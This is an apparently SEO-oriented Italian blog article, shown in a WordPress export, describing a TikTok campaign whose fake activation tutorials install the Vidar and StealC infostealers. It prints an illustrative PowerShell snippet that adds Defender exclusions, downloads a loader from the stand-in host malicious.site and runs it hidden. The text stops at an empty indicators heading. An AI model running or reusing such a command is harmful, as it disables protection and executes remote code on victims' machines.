{"id":19393,"date":"2025-05-24T14:25:00","date_gmt":"2025-05-24T12:25:00","guid":{"rendered":"https:\/\/www.techxplore.it\/?p=19393"},"modified":"2025-05-24T14:25:00","modified_gmt":"2025-05-24T12:25:00","slug":"video-malware-su-tiktok","status":"publish","type":"post","link":"https:\/\/www.smartertech.it\/home\/video-malware-su-tiktok\/","title":{"rendered":"Video Malware su TikTok"},"content":{"rendered":"\n

L’articolo Video Malware su <\/strong>TikTok<\/strong> <\/a>descrive in dettaglio la campagna<\/strong> di ingegneria<\/strong> sociale<\/strong> che sfrutta TikTok<\/strong> <\/a>per diffondere malware<\/strong>. Nel corso del testo, il titolo Video Malware su TikTok<\/strong> sar\u00e0 ripetuto come frase<\/strong> chiave per rafforzare la sezione<\/strong> SEO<\/strong>. Verranno analizzate le tecniche<\/strong>, gli script<\/strong>, i processi<\/strong> di installazione<\/strong> degli infostealer<\/strong> e le misure<\/strong> di difesa<\/strong> pi\u00f9 efficaci<\/strong>.<\/p>\n\n\n\n

\"\"
Video Malware su TikTok<\/figcaption><\/figure>\n\n\n\n

Panoramica della minaccia<\/p>\n\n\n\n

Gli esperti<\/strong> di Trend<\/strong> Micro<\/strong> hanno scoperto una campagna<\/strong> in cui video su TikTok<\/strong> spiegano come attivare<\/strong> software<\/strong> pirata<\/strong> tramite script<\/strong>, ma in realt\u00e0 installano due infostealer<\/strong> sul computer<\/strong>. Questa organizzazione<\/strong> di cybercriminali<\/strong> ha sfruttato la popolarit\u00e0<\/strong> di TikTok per indirizzare<\/strong> gli utenti verso URL malevoli<\/strong>.<\/p>\n\n\n\n

Tecniche di ingegneria sociale<\/p>\n\n\n\n

I video di Video Malware su TikTok<\/strong> appaiono come tutorial<\/strong> legittimi per sbloccare funzionalit\u00e0<\/strong> premium<\/strong> (Windows, Office, Spotify, CapCut), ma contengono comandi<\/strong> dannosi. Sono stati creati con intelligenza<\/strong> artificiale<\/strong> e mantengono uno stile omogeneo<\/strong>, con differenze<\/strong> minime tra inquadratura<\/strong> e URL<\/strong> di download<\/strong>.<\/p>\n\n\n\n

Workflow dell’attacco<\/p>\n\n\n\n

L’utente viene invitato ad aprire il prompt<\/strong> Esegui (Win+R), digitare PowerShell<\/strong> e incollare uno script<\/strong>. Lo script<\/strong> crea due directory<\/strong> nascoste<\/strong>, le esclude da Defender<\/strong>, scarica e avvia Vidar o StealC, quindi imposta la persistenza<\/strong> tramite chiave di registro<\/strong>.<\/p>\n\n\n\n

Caratteristiche dei due infostealer<\/p>\n\n\n\n

Caratteristica<\/th>Vidar<\/th>StealC<\/th><\/tr>
Lingua<\/td>C++<\/td>C#<\/td><\/tr>
Tecnica di offuscamento<\/td>XOR e polimorfismo<\/td>Base64 e criptaggio AES<\/td><\/tr>
Funzionalit\u00e0<\/td>Furto credenziali, screenshot, crypto<\/td>Furto cookie, autofill, carte di credito<\/td><\/tr>
Persistenza<\/td>Chiave Run del Registro<\/td>Servizio Windows mascherato<\/td><\/tr>
Comunicazione C2<\/td>HTTPS con certificato self-signed<\/td>HTTP POST con user-agent mimetico<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

Analisi dei comandi PowerShell<\/p>\n\n\n\n

Gli script<\/strong> sono brevi ma potenti. Ecco uno snippet<\/strong> esemplificativo:<\/p>\n\n\n\n

$dirs = @(\"C:\\\\Windows\\\\SysData\",\"C:\\\\Windows\\\\SysTemp\")\nforeach ($d in $dirs) {\n    New-Item -Path $d -ItemType Directory -Force\n    Add-MpPreference -ExclusionPath $d\n}\nInvoke-WebRequest -Uri \"http:\/\/malicious.site\/loader.ps1\" -OutFile \"$env:TEMP\\\\loader.ps1\"\nStart-Process powershell -ArgumentList \"-ExecutionPolicy Bypass -File $env:TEMP\\\\loader.ps1\" -WindowStyle Hidden<\/code><\/pre>\n\n\n\n
Questo comando<\/strong> dimostra come vengano create directory<\/strong> nascondigli<\/strong>, modificate impostazioni<\/strong> di Windows<\/strong> Defender<\/strong> e scaricato il loader<\/strong>.<\/p>\n\n\n\n
Statistiche di diffusione<\/p>\n\n\n\n
Metricas<\/td>Valore<\/td><\/tr>
Visualizzazioni medie<\/td>500.000<\/td><\/tr>
Like medi<\/td>20.000<\/td><\/tr>
Commenti medi<\/td>100<\/td><\/tr>
Account coinvolti<\/td>15<\/td><\/tr>
Durata della campagna<\/td>2 mesi<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
Indicatori di compromissione (IoC)<\/p>\n\n\n\n